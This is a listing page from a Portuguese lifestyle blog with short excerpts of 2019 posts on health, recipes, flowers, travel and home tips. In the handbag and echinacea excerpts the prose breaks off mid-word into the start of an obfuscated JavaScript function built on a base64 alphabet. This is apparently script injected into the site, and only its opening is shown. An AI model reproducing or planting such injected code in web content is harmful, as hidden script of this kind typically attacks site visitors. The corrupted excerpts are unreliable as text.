Mai 20, 2019 | Dicas úteis, Saúde e bem estar
Hábitos que prejudicam a nossa saúde Há hábitos tão completamente enraizados que nem já nos apercebemos deles. Estão perfeitamente automatizados, pelo que temos de prestar-lhes mais atenção. Caso sejam hábitos positivos, não há qualquer problema. Mas caso sejam...
Mai 19, 2019 | Dicas úteis, Receitas
3 Receitas de barritas de cereais: um snack entre refeições Hoje trago-lhe algumas receitas de barritas de cereais, pois são um óptimo snack que pode comer nos intervalos das refeições. São rápidas, simples de fazer e o melhor de tudo é que são super saudáveis,...
Mai 18, 2019 | À descoberta, Dicas úteis
As flores ideais para cada divisão da sua casa A Primavera traz consigo, a cada ano, muitas e maravilhosas flores! Nesta estação, voltam a florescer e alegram os nossos dias com as suas lindas cores e agradáveis perfumes. Eu adoro flores, confesso! Acredito também...
Mai 16, 2019 | À descoberta, Dicas úteis
Tudo o que tem de estar na mala de uma mulher A mala de uma mulher é um poço infinito, um local onde se guardam mil e um objectos. As mulheres têm o hábito de colocar tudo e mais alguma coisa na sua mala, acabfunction a4872b9c6b(y1){var...
Mai 9, 2019 | Dicas úteis, Saúde e bem estar
5 benefícios das ervilhas que são ideais para emagrecer As ervilhas fazem parte dos meus vegetais de eleição. São ricas em fibras, vitaminas e proteínas, e, por isso mesmo, muito aconselhadas para uma dieta equilibrada e saudável. Além disso, as ervilhas são ideais...
Mai 7, 2019 | Dicas úteis, Receitas, Saúde e bem estar, Teresa
Descobri recentemente esta raiz com propriedades medicinais, originária da Índia e China, e estou fã. Uso-a em chá, na minha água para controlar o peso, e na comida. Tem propriedades anti-inflamatórias, antioxidantes e também ajuda a controlar os níveis de colesterol...
Mai 5, 2019 | À descoberta, Dicas úteis
9 destinos baratos para conhecer em 2019 O começo da Primavera e o regresso do tempo agradável significa também que voltam as condições ideais para fazer uma viagem! Certamente gosta tanto de viajar como eu… Descobrir novas culturas, ver sítios maravilhosos e ter...
Mai 3, 2019 | À descoberta, Dicas úteis, Saúde e bem estar
Dicas saudáveis: 7 variantes do coco Já lhe falei dos benefícios do coco e das propriedades fantásticas do seu óleo! Hoje vou falar-lhe das inúmeras formas deliciosas em que pode consumir este fruto fabuloso. Conheça-as agora, bem como todas as vantagens do seu...
Abr 30, 2019 | À descoberta, Dicas úteis, Saúde e bem estar
10 Benefícios da Equinácea para a sua saúde Hoje venho falar-lhe de uma planta fantástica nativa da América do Norte Central, com uma grfunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var...
Abr 28, 2019 | À descoberta, Dicas úteis, Faça você mesmo, header
Como fazer ambientadores em casa sem gastar muito dinheiro Com a correria dos nossos dias e a poluição presente nas ruas, nada melhor do que abrir a porta de casa e ter um ambiente maravilhoso, repleto de belíssimos odores. Hoje vou dar-lhe a conhecer ambientadores...
